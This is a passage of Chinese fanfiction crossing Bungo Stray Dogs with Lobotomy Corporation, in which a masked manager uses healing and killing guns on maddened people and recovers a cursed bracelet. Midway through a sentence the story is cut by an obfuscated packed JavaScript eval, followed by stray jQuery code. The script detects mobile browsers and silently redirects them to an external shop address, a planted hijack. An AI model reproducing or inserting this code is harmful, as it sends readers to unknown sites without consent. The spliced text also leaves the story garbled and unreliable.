“不许动,把枪放下!”
国木田第一时间做出来反应,手中的另一把钩锁枪直指来人的致命部位。
但对方没有半点动摇,像是已经笃定了国木田不会伤害到自己,是傲慢吧,绝对是傲慢吧。
夜叉白雪干净利落地打晕了自己钳制住的发疯男人,抽出锋利的武士刀,和祂的主人泉镜花一起绕到了X身后,准备看对方有什么举动便立刻出手制服。
但面对被包围的现状,X没有表现出半分焦急,甚至连呼吸和心跳都没有乱哪怕一拍。从白大褂内侧抽出是白色手枪上刻着复杂华丽的蝴蝶图案,动作缓慢却不显得拖沓,而是十分精准地瞄准了被国木田独步限制住行动,此时正在地上蛄蛹的疯男人。
他扣下了扳机,在夜叉白雪都没反应过来制止的间隙,他连着射出了数不清的子弹,没反应过来的原因之一,是因为泉镜花没听见自己熟悉的枪响,无论是正常的刺耳嗡鸣,还是装上消音器的闷响。
那是清新的叮叮声,像是夏日某天推门走进一家可爱的甜品屋,微风吹起门边浅蓝色的风铃,是泉镜花喜欢的脆响,让她有一瞬间的愣神。
一秒后,X松开了扳机,他抬起枪口在颊边蹭了蹭,隔着装作纸张的认知滤网,没有开过枪的滚烫,他只感受到了属于金属的微凉。
“这样啊。”
盯着仍旧神志不清却已经停下伤害自身行为的男人,他自顾自地说着,思考片刻后从容转身躲开了从背后袭来的剑刃,白色的手枪在指尖转了一圈被他收回怀中,然后掏了掏,抽出了一把长得一模一样的反色枪。
国木田有点懵了,在见识到那把白枪类似治疗的效果后,他的心放下一半,却又在对方掏出另一把枪时提到万米高空。
他会治疗,是好人?
白色治疗,那黑的呢?
两个问题在他脑海中乱撞,于是当他看见X抬起枪口,用和刚刚一样的动作开枪时,他诡异地没有阻止对方,但他马上就后悔了。
被黑枪击中的男人情况瞬间恶化,刚因为白枪效果暂时缓和下来的精神状况再次坠到谷底,甚至挣脱了国木田手中钩锁枪的束缚,在地上乱七八糟地打滚,乱爬,抓自己的头发,甚至死命握住自己的脖子。
但还好,在他真的把自己掐死之前,X手中的枪先一步结束了他的生命。
“……”
中岛敦看着面前的情景,一时无言,他的瞳孔疯狂颤抖着,似乎无法理解面前医生一样的角色为什么会在瞬间内转变态度变成一位危险的刽子手,但在X朝他的方向投来目光时,他还是压下心里的恐惧死死挡住了身后的江户川乱步,但他真的压制不住质问的冲动。
“你在做什么!?”
耳膜有点疼。
X揉了揉自己的耳朵,视线从中岛敦毛茸茸的爪子上移到他脸上,X歪了歪头,这人被波迪的EGO侵蚀了吗……?
他叹了口气,看了眼手里的圣宣黑枪,在回答问题的同时继续将其指向下一个发疯的可怜人。
太可怜了,送他们去见上帝吧。
“三枪圣宣无法回满理智的东西,是障碍,没有用。”
然后他疑惑了,不知道什么时候凑到自己身后的高大男人钳住了他拿枪的手腕,略微用力将他的枪口抬起,防止X真的继续开枪。
“你知道你在说什么吗?”
“当然,不然呢?”
发疯的文职很烦,虽然这里没有文保协,没有会利用人类尸体变强的异想体或考验……但是真的很麻烦。
为什么这些人不懂战前清理文职的必要性呢?
“请松开我,有点疼。”
“诶~不要呢。”
太宰治再次笑起来,手上持续用力,在看不清X表情的情况下,他完全无法掌握对方的疼痛阈值,但还是在某个力道的持续下听见了因疼痛发出的轻微抽气声。
“我都说了,很疼的。”
平淡的语气,做的反应却丝毫不留情,劝告无果的X直接从怀里拿出了双枪的另一把,隔空朝太宰治的太阳穴扣下扳机,迫使他放开自己的手。
啊……起红痕了啊。
X皱了皱眉,用略长的白大褂袖口遮住那点在自己眼里不好看的印记,抬头不赞同地看着对方,随后反应过来在认知滤网作用下没人能看到自己的表情。
有点不高兴,但没关系,不开心的的主管有自己独特的舒缓方式,于是圣宣加特林堂堂登场!
密密麻麻的叮叮声对别人的耳朵可能造成摧残,却能让主管的心情好起来,他朝发了疯的各位射出子弹,看谁能挺过侵蚀伤害的摧残恢复精神,他就能好心地放过对方,但直到所有人都在恐慌中彻底闭上眼也没人能做到。
“……无聊。”
又一个侧身躲过朝自己袭来的白虎爪子,X的眼神动了动,抬手在只有自己看得见的控制面板上划拉两下,随后直接攥住了白虎那粗壮毛茸茸的爪子。
中岛敦下意识地想要挣脱,却震惊地发现刚刚还被太宰治单手钳住的青年实际力气大到离谱,只有双手虎化的自己竟一时无法挣脱。
X无视了他的震惊,自顾自地低头看着手里的毛茸茸,指尖微动,原本手感不怎么好甚至打劫的白毛在他的动作下被顺开。他的动作称得上温柔,有种摸小猫的感觉,从白毛到粉色的肉垫,再到泛黑的尖锐指甲,他很仔细地触碰着。
哦,所以不是波迪的EGO啊。
被炸毛大白猫挠了一下的主管毫无波澜地想,随后随意攥着手心,将从伤口处溢出的粘稠在衣角蹭了下,按压直到不再流出。
随后,在太宰治错愕的注视下,X揭开了那张纸,露出之前别人不论如何都看不见的五官。
撤掉那截简陋的胶带,让人诧异的是纸张下面还戴着一副黑框眼镜,明明在之前完全看不见架在耳朵上的镜腿。
左边的镜框下方被故意用火焰烧化,有一块往下坠着,和安室透两人看见的那副还不太一样。在薄薄的镜片之后,浅浅的金色的眸子像刚蒸好滴上香油的一小团鸡蛋,一副软乎乎的好欺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830780|211318||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
负的样子。
他撇撇嘴,刚刚被猫抓的疼痛让他清醒了不少,此时让他有力气对面前的大猫发出谴责。
“好过分!我只是想撸猫而已!不开心你可以躲开可以喵喵叫,为什么要抓我!好过分!!”
中岛敦懵了,太宰治懵了,国木田独步也懵了。
三人:为什么你开口第一句说的是这个啊!?
中岛敦:不对、为什么我要喵喵叫啊!
趁着所有人都在头脑风暴中,主管趁机走到倒地的女人身边,手上戴上了他专门带在身上的隔绝手套,将尸体死死捂住嘴的手扯开,目标精确地取下了她腕上那只看起来有点年头的莹绿色手环,装进随身携带的箱子里。
荧光手镯,公司的工具型异想体之一,是可以恢复穿戴者精神值的恢复型道具,但如果在穿戴时并没有受伤,戴上一段时间内也安然无恙的话,手镯便会认为穿戴者是一位贪婪它自身能力的鼠辈,并为自己认定的坏人献上死亡的赠礼。
这也是女人死亡的真正原因,她没有在限定时间内感受到疼痛,于是手镯赐予了她极端的痛楚后才让其永眠。
那……其他疯子是怎么失去理智的呢?
主管有点困惑,公司里的文职看见同事疯掉死亡只会镇定地拿出小手枪biubiubiu,或者直接无视,除非对方是比自己更强大的正式员工。
难不成这个被荧光手镯单杀的女人其实是个正式员工预备役吗?那也不对啊……或者,其他人的素质还不如自己公司里的文职吗?
当然,X还有第三个猜测。
“国木田先生……我们不用去阻止他吗?”
被X谴责过的中岛敦凑到了太宰治和国木田独步中间,唯一的脑力担当江户川乱步被三人围成一圈堵在身后。
“是乱步先生的推理,相信他吧。”
中岛敦发誓,自己不是在质疑乱步先生的推理能力,只是……让那个可疑人员只身进入房间内真的好吗?虽然房间内不算是案发现场…但怎么说也是死者的私人空间吧,真的可以吗?
国木田独步也是这么想的,于是他皱了皱眉,示意泉镜花和中岛敦继续保护侦探社的支柱,自己则和太宰治一同跟随前方的人影,保持着适当距离进入了死者的房屋。
客厅内洒满了彩色的碎纸屑,异形的漂亮气球被充满氢气顶在天花板上,电视还开着,放着一部广受好评的爱情电影,桌上还摆着一大盘甜点,刺身,几个高脚杯,半开的香槟堆满了旁边的柜子。
而在那高雅甜腻的甜品堆中间,只有一件物品完全格格不入。
布满锈迹的银色芭蕾舞者单脚站立在自己的小小舞台上,保持着最标准的舞蹈动作,等待自己的下一位看客。
而在X踏入客厅范围的下一秒,她缓缓转动了起来,顺时针旋转的八音盒时不时因为铁锈卡壳一下 。
在听见那舒缓人心的音乐时X的第一反应不是欣赏,而是里面回头警告跟着自己进来的两人。
“站在外面,别进来。”